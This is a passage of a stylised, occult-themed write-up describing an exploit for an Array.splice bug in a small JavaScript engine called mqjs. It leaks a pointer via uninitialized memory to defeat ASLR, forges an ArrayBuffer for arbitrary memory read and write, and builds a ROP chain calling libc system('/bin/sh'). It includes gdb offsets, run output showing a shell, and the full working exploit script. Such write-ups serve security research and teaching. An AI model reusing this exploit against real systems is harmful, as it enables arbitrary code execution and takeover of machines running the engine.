Constraints and Edicts operating within its own framework.
5 · 2 · 1
was running. A half hour later, these observations suddenly revealed the answer to the Door’s Riddle…

Undead Memory In The Void

You see, dear reader, there is a dirty Secret to the Allocator-of-Memory… One which has plagued The Memory-Unsafe-C LanguageLanguage of the Memory-Unsafe-CEarly Language imbued with power over Memory.
Many claim its great ability, but so too is its danger.
Much was written in this tongue. Unfortunately much still is...
6 · 2
since its birth…

The Secret: The allocation is not pure! Within the bounds of each allocated chunk lies the ghosts of past, dead, memory: Uninitialized-DataUninitialized MemoryResurrected Memory which was once dead.
The previous form remains unless overwritten.
6 · 2 · 1
!

This is caused by a misalignment within the Allocator-of-Memory. When an Object is created, the Memory-Chunk it occupies is oft larger than the Object! This is known to scholars as Memory-Alignment: Memory-Chunks may only be sizes which are Aligned.

To illustrate this effect: If an Object is of size 8, the Memory-Chunk it occupies may be Aligned to 16 Bytes. This leaves a Void of 8 Bytes in which Undead Uninitialized-DataUninitialized MemoryResurrected Memory which was once dead.
The previous form remains unless overwritten.
6 · 2 · 1
may be found:

The Void Between Objects; Alive With Remnants Of Past Data

This knowledge is potent but does not quite yet serve our goal.

The real moment of clarity comes from realizing we can do this with a single extra byte, leaving only the upper 7 Bytes uninitializedUninitialized MemoryResurrected Memory which was once dead.
The previous form remains unless overwritten.
6 · 2 · 1

An Incursus Into The Void

I shall name this the Rite of the Partial OverwriteRite of the Partial OverwriteOccluding a small part of a Light may cast a large
shadow. This rite shapes that of Least Significance to
reanimate a long dead Pointer. However, what returns
will be Numerical by nature.
6 · 4 · 2
.

alt text

With this RiteRite of the Partial OverwriteOccluding a small part of a Light may cast a large
shadow. This rite shapes that of Least Significance to
reanimate a long dead Pointer. However, what returns
will be Numerical by nature.
6 · 4 · 2
, we may set the lower byte of the Uninitialized-DataUninitialized MemoryResurrected Memory which was once dead.
The previous form remains unless overwritten.
6 · 2 · 1
value to anything we wish.

Do you see how this achieves the ideal Transmutation so we may obtain our Entropy-Leak?

Imagine that the Uninitialized-DataUninitialized MemoryResurrected Memory which was once dead.
The previous form remains unless overwritten.
6 · 2 · 1
has the Value of some Pointer. The Rite of the Partial OverwriteRite of the Partial OverwriteOccluding a small part of a Light may cast a large
shadow. This rite shapes that of Least Significance to
reanimate a long dead Pointer. However, what returns
will be Numerical by nature.
6 · 4 · 2
allows us to change the 3 Least-Significant-Bits to 101.

We will force the Floating Number Transmutation!

Bringing About The Change Of The Remnant Pointer

Using this RiteRite of the Partial OverwriteOccluding a small part of a Light may cast a large
shadow. This rite shapes that of Least Significance to
reanimate a long dead Pointer. However, what returns
will be Numerical by nature.
6 · 4 · 2
with our original FaultA Fault in the WorkA defect. A bug. An imperfection.
You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 · 2
, the Array.splice will Transmute the pointer into this arcane looking Number: 5.888206550329753e-39

With the use of Mathematics we can calculate the inverse of this Transmutation and obtain the original Pointer 0x77b26d1fef05.

Thus we have an Entropy-Leak which can bypass the ASLR:

var arr = new Array(30);

function convert_float_jsvalue(f) {
    // Conversion code cut for brevity
}

var attack = {
    valueOf: function() {
        arr.length = 0;
        arr.length = 3;
        var a = new Uint8Array(97);
        // Overwrite byte of uninitialized memory with 0b101 tag
        a[96] = 0x5;
        return 10;
    }
}

var leaked = arr.splice(attack, 30);
print("After OOB Copy...")
print("RAW LEAK: " + leaked[6]);

var leak_address = convert_float_jsvalue(leaked[6]);
print("LEAKED: " + leak_address[0].toString(16) + " " + leak_address[1].toString(16));

While this works in concept, it requires Experimentation to achieve the correct Uninitialized-DataUninitialized MemoryResurrected Memory which was once dead.
The previous form remains unless overwritten.
6 · 2 · 1
. This is due to the Writing itself being part of the MemoryThe WorldWhere everything happens.
A vast field containing all Memory and Execution.
Every time a new expedition is made, the layout of the World shifts.
6 · 2 · 1
, so any changes will have rippling disruptive effects. Changing the size of Objects may help manipulate these effects.

$ ./mqjs ./leak.js
After OOB Copy
RAW LEAK: 5.887933456554759e-39
LEAKED: 74a6 e1a00605

We can see the Entropy leaking through the value as it changes every invocation:

Leaking The
Show full writing including inversion Mathematics
var arr = new Array(40);

var zz = 0;
var ff = 0;

var fb = new ArrayBuffer(0x10);
var fbu = new Uint32Array(fb);
var fbf = new Float64Array(fb);

function float_to_u64(v) {
  fbf[0] = v;
  var high = fbu[1];
  var low = fbu[0];
  return [high, low];
}

  function rotl64(high, low, n) {
    if (n === 4) {
      // Rotate left by 4 bits
      var new_high = ((high << 4) | (low >>> 28)) >>> 0;
      var new_low = ((low << 4) | (high >>> 28)) >>> 0;
      return [new_high, new_low];
    }
    // For other rotations, implement as needed
    throw new Error("Only n=4 supported");
  }

  function encode_short_float(d) {
    print(d)
    var hl = float_to_u64(d);
    var high = hl[0];
    var low = hl[1];
    //print("Original High: " + high.toString(16) + " Low: " + low.toString(16));

    // Subtract ADDEND (0xE800000000000000)
    // Same as adding 0x1800000000000000
    var addend_high = 0x18000000;
    var addend_low = 0x00000000;

    // 64-bit addition with carry
    var new_low = (low + addend_low) >>> 0;
    var carry = (new_low < low) ? 1 : 0;
    var new_high = (high + addend_high + carry) >>> 0;

    // Rotate left by 4 bits
    hl = rotl64(new_high, new_low, 4);
    var final_high = hl[0];
    var final_low = hl[1];
    //print("Encoded High: " + final_high.toString(16) + " Low: " + final_low.toString(16));

    return [final_high, final_low];
  }


function build_fake_arr() {
    //var a = new Uint8Array(97);
    var a = new Uint8Array(97);
    for (var i = 0; i < 97; i++) {
        var v = ~~(i / 8);
        a[i] = v*0x10;
    }
    a[96] = 0x5;
    //a[6*8] = 0x41;
    //for (var i = 1; i < 8; i++) {
    //    a[6*8+i] = 0x41;
    //}
    gc();
}

var attack = {
    valueOf: function() {
        arr.length = 0;
        var pad = new Uint8Array(0x50);
        arr.length = 3;
        if (zz === 0) {
            build_fake_arr();
        }

        return 10;
    }
};

var deleteCount = {
    valueOf: function() {
        return 30;
    }
};

gc();
var leaked = arr.splice(attack, deleteCount);

print(leaked.length);
var leak = leaked[6];
var res = encode_short_float(leak);
print("LEAKED: " + res[0].toString(16) + " " + res[1].toString(16));

05:30 - 08:37
The Final Rite To Hijack Execution

We are now in the final stages of our Shell SummoningSummoned ShellEnlightenment.
Absolute control. Escape.
Many strive to reach it. None know what to do once there.
10 · 6 · 2

The last tool to complete this task is to construct a Mechanism which can rend the World’s MemoryThe WorldWhere everything happens.
A vast field containing all Memory and Execution.
Every time a new expedition is made, the layout of the World shifts.
6 · 2 · 1
to our will.

Poking and Prodding the World’s MemoryThe WorldWhere everything happens.
A vast field containing all Memory and Execution.
Every time a new expedition is made, the layout of the World shifts.
6 · 2 · 1

This construction will be an Object Forgery we can craft through careful examination of ArrayBuffers in their natural habitat.

The JSArrayBuffer structure is fairly simple. Most important is the Type field and the Data Pointer

Structure Of The JSArrayBuffer

We can Forge this object inside of our Controlled-Data, just as we performed the Rite of the Type ForgeryRite of the Type ForgeryThrough the Wrong perception of a Memory,
Transmutations are achieved. Data which is viewed must
be shaped in accordance to the Type's Structure, lest it
shall crash and burn. A successful Forgery may incite
Cursed-Workings within the Engine for a greater purpose.
6 · 4 · 2
on a Pointer earlier. We can point the Data-Pointer anywhere in Memory we want!

Luckily this can be an Incomplete-Forgery and we may ignore the Properties and Prototype aspects. We only care about the Type and Data aspects for this RiteRite of the Type ForgeryThrough the Wrong perception of a Memory,
Transmutations are achieved. Data which is viewed must
be shaped in accordance to the Type's Structure, lest it
shall crash and burn. A successful Forgery may incite
Cursed-Workings within the Engine for a greater purpose.
6 · 4 · 2
:

Performing  on JSArrayBuffer

This Forgery, while fragile, is functional! After triggering the Array.splice invocation again, we are given a Cursed-Reference to our JSArrayBuffer Forgery.

With this Cursed-Reference in hand, we may harness it: new Uint8Array(fake_array_buffer). This harness gives us full control to read or write to any Memory-Address we know.

var leak_low = 0;
var leak_high = 0;

var attacker_data = null;
function build_fake_arr() {
    gc();
    var a = new Uint8Array(97);
    attacker_data = a;

    target_arr = new Uint32Array(2);

    for (var i = 0; i < 97; i++) {
        var v = ~~(i / 8);
        a[i] = v*0x10;
    }
    a[96] = 0x5;

    var fake_arr_buf_low = leak_low + main_off + 8;
    // [ Fake ArrayBuffer ]
    set_4(a, 8, 0x1112);
    set_4(a, 0xc, 0);
    set_4(a, 0x10, 0x53545556); // fake prototype
    set_4(a, 0x14, 0x5152);
    set_4(a, 0x18, 0x63646566); // fake props
    set_4(a, 0x1c, 0x6162);
    set_4(a, 0x20, fake_byte_arr_low + 1); // pointer to target data
    set_4(a, 0x24, leak_high);

    set_4(a, 6*8, fake_arr_buf_low + 1);
    set_4(a, 6*8+4, leak_high);

    zz = 100;

}

var attack = {
    valueOf: function() {
        arr.length = 0;
        arr.length = 3;
        build_fake_arr();
        return 10;
    }
};

get_aslr_leak();

var leaked = arr.splice(attack, 30);
var forged_array_buffer = leaked[0];
var read_write = new Uint8Array(bad_ref);

function set_addr(high, low) {
    var real_off = 0x20;
    set_4(attacker_data, real_off, low - 7);
    set_4(attacker_data, real_off+4, high);
    __debugPause();
}

function read_64(high, low) {
    set_addr(high, low);
    var olow = read_write[0];
    var ohigh = read_write[1];
    return [ohigh, olow];
}
function write_64(high, low, vhigh, vlow) {
    set_addr(high, low);
    read_write[0] = vlow;
    read_write[1] = vhigh;
}

Hijacking The Flow Of The WorldThe WorldWhere everything happens.
A vast field containing all Memory and Execution.
Every time a new expedition is made, the layout of the World shifts.
6 · 2 · 1

Our final mechanism is complete! We will now shape the World’s MemoryThe WorldWhere everything happens.
A vast field containing all Memory and Execution.
Every time a new expedition is made, the layout of the World shifts.
6 · 2 · 1
so that it yields to our will.

There are many ways to perform this feat, but I chose to use one of the oldest.

We shall use the Rite Of The Smashing StackRite of the Smashing StackThis Terminale Rite brings about a Change in
Control. What was once a path home is now
bound by a chain of Gadgets. Each Return
advances towards the final System state. If
aligned properly a Shell may be summoned.
6 · 4 · 2
.

Through this final RiteRite of the Smashing StackThis Terminale Rite brings about a Change in
Control. What was once a path home is now
bound by a chain of Gadgets. Each Return
advances towards the final System state. If
aligned properly a Shell may be summoned.
6 · 4 · 2
we will locate the elusive StackStack of All HistoriesA cache of Returns. A path home.
Each invocation adds a new layer of Control.
By locating and writing over these Returns:
The History of Execution can be changed.
6 · 4 · 2
and smash it into fragments. This action will replace it with a Chain of GadgetsCode GadgetsA rope of code fragments, woven together to form a new path.
Each knot instructs a single task.
When all tasks have been completed the world will have changed.
6 · 4 · 2
, by which the final ShellSummoned ShellEnlightenment.
Absolute control. Escape.
Many strive to reach it. None know what to do once there.
10 · 6 · 2
will be summoned.

To complete this task we must first locate some provisions from inside the Library of LIBCLibrary of LIBCA festering tome of prewritten functions.
Many useful rituals are contained within.
Summoning them may aid in your Exploit.
6 · 4 · 2
:

$ man system
NAME
       system - execute a shell command

LIBRARY
       Standard C library (libc, -lc)

SYNOPSIS
       int system(const char *command);

DESCRIPTION
       The system() library function behaves as if it used fork(2) to create
       a child process that executed the shell command specified in command

$ gdb ./mqjs
gdb> vmmap libc
   0x7ffff7c00000     0x7ffff7c28000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6

gdb> p system
{int (const char *)} 0x7ffff7c58750 <__libc_system>
gdb> p/x 0x7ffff7c58750 - 0x7ffff7c00000
0x58750

gdb> search "/bin/sh"
Searching for value: '/bin/sh'
libc.so.6       0x7ffff7dcb42f 0x68732f6e69622f /* '/bin/sh' */
gdb> p/x 0x7ffff7dcb42f - 0x7ffff7c00000
0x1cb42f

Then we shall seek the StackStack of All HistoriesA cache of Returns. A path home.
Each invocation adds a new layer of Control.
By locating and writing over these Returns:
The History of Execution can be changed.
6 · 4 · 2
’s Name who is hidden in a secret alcove within the LIBCLibrary of LIBCA festering tome of prewritten functions.
Many useful rituals are contained within.
Summoning them may aid in your Exploit.
6 · 4 · 2
, named ENVIRON:

$ man environ
NAME
       environ - user environment

SYNOPSIS
       extern char **environ;

DESCRIPTION
       The  variable  environ  points  to an array of pointers to strings
       called the "environment".

$ gdb ./mqjs
gdb> p &environ
(char ***) 0x7ffff7ffe2d0 <environ>
gdb> p/x 0x7ffff7ffe2d0 - 0x7ffff7c00000
0x3fe2d0

All the pieces are in their place…

Performing The Terminale

The EngineThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 · 2 · 1
’s power is now capable of manipulating the very Stack FrameStack of All HistoriesA cache of Returns. A path home.
Each invocation adds a new layer of Control.
By locating and writing over these Returns:
The History of Execution can be changed.
6 · 4 · 2
for which it executes within…

We return out of the invocation one final time…

// ...

var libc_base_low = leak_low + 0x1001000;
var libc_base_high = leak_high; 
print("LIBC BASE: " + libc_base_high.toString(16) + " " + libc_base_low.toString(16));

function rop() {
    var attack = {
        valueOf: function() {
            var env_low = libc_base_low + 0x20ad58;
            var binsh_low = libc_base_low + 0x1cb42f;
            var system_low = libc_base_low + 0x58750;
            var pop_rdi = libc_base_low + 0x10f78b;
            var ret = libc_base_low + 0x10f78c;

            var st = read_64(libc_base_high, env_low);

            var stack_high = st[0];
            var stack_low = st[1] - 0x568;

            print("STACK PTR: " + stack_high.toString(16) + " " + stack_low.toString(16));

            // Build ROP chain on stack
            write_64(stack_high, stack_low + 0x00, libc_base_high, ret);
            write_64(stack_high, stack_low + 0x08, libc_base_high, pop_rdi);
            write_64(stack_high, stack_low + 0x10, libc_base_high, binsh_low);
            write_64(stack_high, stack_low + 0x18, libc_base_high, system_low);
            print("WROTE ROP CHAIN");

            // RETURNING NOW WILL HIJACK CONTROL!
        }
    };
    var arr = new Array(10);
    arr.splice(attack, 0);
    
}

rop();

And…….

./mqjs ./exp-shell.js
LEAKED: 77b6 1c5ff205
LIBC BASE: 77b6 1d600000
STACK PTR: 7ffd 143e1bb8
WROTE ROP CHAIN
$ whoami
nyan

THE CLOCK STOPS

The LoopholeLoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 · 2 · 1
is ExploitedExploitThe weird machine.
A crafted sequence of glyphs that bends the edicts of the World.
It will only work while a Fault exists. Use it before it expires.
5 · 3 · 1
. The ShellSummoned ShellEnlightenment.
Absolute control. Escape.
Many strive to reach it. None know what to do once there.
10 · 6 · 2
has been summoned. The Work is done.

The final time reads 8 Hours 37 Minutes

Successfully Summoned ShellEnlightenment.
Absolute control. Escape.
Many strive to reach it. None know what to do once there.
10 · 6 · 2
ExploitThe weird machine.
A crafted sequence of glyphs that bends the edicts of the World.
It will only work while a Fault exists. Use it before it expires.
5 · 3 · 1

See Full Exploit
var arr = new Array(40);

var zz = 0;
var ff = 0;
var leak_low = 0;
var leak_high = 0;

var fake_arr = null;
var target_arr = null;

var pad_off = 8*1;
var main_off = 0x3e00;

var fb = new ArrayBuffer(0x10);
var fbu = new Uint32Array(fb);
var fbf = new Float64Array(fb);

function float_to_u64(v) {
  fbf[0] = v;
  var high = fbu[1];
  var low = fbu[0];
  return [high, low];
}

  function rotl64(high, low, n) {
    if (n === 4) {
      // Rotate left by 4 bits
      var new_high = ((high << 4) | (low >>> 28)) >>> 0;
      var new_low = ((low << 4) | (high >>> 28)) >>> 0;
      return [new_high, new_low];
    }
    // For other rotations, implement as needed
    throw new Error("Only n=4 supported");
  }

  function encode_short_float(d) {
    var hl = float_to_u64(d);
    var high = hl[0];
    var low = hl[1];
    var addend_high = 0x18000000;
    var addend_low = 0x00000000;

    // 64-bit addition with carry
    var new_low = (low + addend_low) >>> 0;
    var carry = (new_low < low) ? 1 : 0;
    var new_high = (high + addend_high + carry) >>> 0;

    // Rotate left by 4 bits
    hl = rotl64(new_high, new_low, 4);
    var final_high = hl[0];
    var final_low = hl[1];

    return [final_high, final_low];
  }

/*

// Fake byte buffer
[ 0x0c, 0x10, 0, 0, 0, 0, 0, 0 ]

// Fake JSArrayBuffer
[ 0x12, 0x11, 0, 0, 0, 0, 0, 0 ]
0x515253545556
0x616263646566
[ target ptr - 1 ]

*/

function set_4(buf, offset, val) {
    buf[offset] = val&0xff;
    buf[offset+1] = (val>>8)&0xff;
    buf[offset+2] = (val>>16)&0xff;
    buf[offset+3] = (val>>24)&0xff;
}

function build_fake_arr() {
    gc();
    var a = new Uint8Array(97);

    target_arr = new Uint32Array(2);

    for (var i = 0; i < 97; i++) {
        var v = ~~(i / 8);
        a[i] = v*0x10;
    }
    a[96] = 0x5;

    var fake_byte_arr_low = leak_low + main_off;
    // [ Fake byte buffer ]
    set_4(a, 0, 0x100c);
    set_4(a, 4, 0);

    var fake_arr_buf_low = fake_byte_arr_low + 8;
    // [ Fake ArrayBuffer ]
    set_4(a, 8, 0x1112);
    set_4(a, 0xc, 0);
    set_4(a, 0x10, 0x53545556); // fake prototype
    set_4(a, 0x14, 0x5152);
    set_4(a, 0x18, 0x63646566); // fake props
    set_4(a, 0x1c, 0x6162);
    set_4(a, 0x20, fake_byte_arr_low + 1); // pointer to fake buffer
    set_4(a, 0x24, leak_high);

    set_4(a, 6*8, fake_arr_buf_low + 1);
    set_4(a, 6*8+4, leak_high);

    zz = 100;

}

function run() {

var attack = {
    valueOf: function() {
        arr.length = 0;
        var pad = new Uint8Array(pad_off);
        arr.length = 3;
        if (zz < 2) {
            build_fake_arr();
        }

        return 10;
    }
};

var asdf = [];
for (var i = 0; i < 10000; i++) {
    asdf[i] = {};
}
asdf = null;
gc();
var leaked = arr.splice(attack, 30);

print(leaked.length);

if (leak_high === 0) {
    var leak = leaked[6];
    var res = encode_short_float(leak);
    print("LEAKED: " + res[0].toString(16) + " " + res[1].toString(16));
    leak_high = res[0];
    leak_low = res[1] & 0xfffff000;
    return res;
} else {
    var bad_ref = leaked[0];
    var u = new Uint8Array(bad_ref);
    fake_arr = u;
    print("FAKE ARR DATA:");
    print(u[0])
    print(u[1])
    print(u[2])
    print(u[3])
}
}

function set_addr(high, low) {
    var real_off = 0xd0;
    set_4(fake_arr, real_off, low - 7);
    set_4(fake_arr, real_off+4, high);
}

function read_64(high, low) {
    set_addr(high, low);
    var olow = target_arr[0];
    var ohigh = target_arr[1];
    return [ohigh, olow];
}
function write_64(high, low, vhigh, vlow) {
    set_addr(high, low);
    target_arr[0] = vlow;
    target_arr[1] = vhigh;
}


run();

arr = new Array(40);
zz = 1;

run();

var t = leak_low + main_off + 0x50;

var rres = read_64(leak_high, t);
print("TARGET ARR PTR: " + rres[0].toString(16) + " " + rres[1].toString(16));

write_64(leak_high, t, 0x13371337, 0x41414141);

var libc_base_low = leak_low + 0x1001000;
var libc_base_high = leak_high; 
print("LIBC BASE: " + libc_base_high.toString(16) + " " + libc_base_low.toString(16));

function rop() {
    var attack = {
        valueOf: function() {

var env_low = libc_base_low + 0x20ad58;
var binsh_low = libc_base_low + 0x1cb42f;
var system_low = libc_base_low + 0x58750;
var pop_rdi = libc_base_low + 0x10f78b;
var ret = libc_base_low + 0x10f78c;


var st = read_64(libc_base_high, env_low);

var stack_high = st[0];
var stack_low = st[1] - 0x568;

print("STACK PTR: " + stack_high.toString(16) + " " + stack_low.toString(16));

// Build ROP chain on stack
write_64(stack_high, stack_low + 0x00, libc_base_high, ret);
write_64(stack_high, stack_low + 0x08, libc_base_high, pop_rdi);
write_64(stack_high, stack_low + 0x10, libc_base_high, binsh_low);
write_64(stack_high, stack_low + 0x18, libc_base_high, system_low);
print("WROTE ROP CHAIN");
        }
    };
    var arr = new Array(10);
    arr.splice(attack, 0);
}

rop();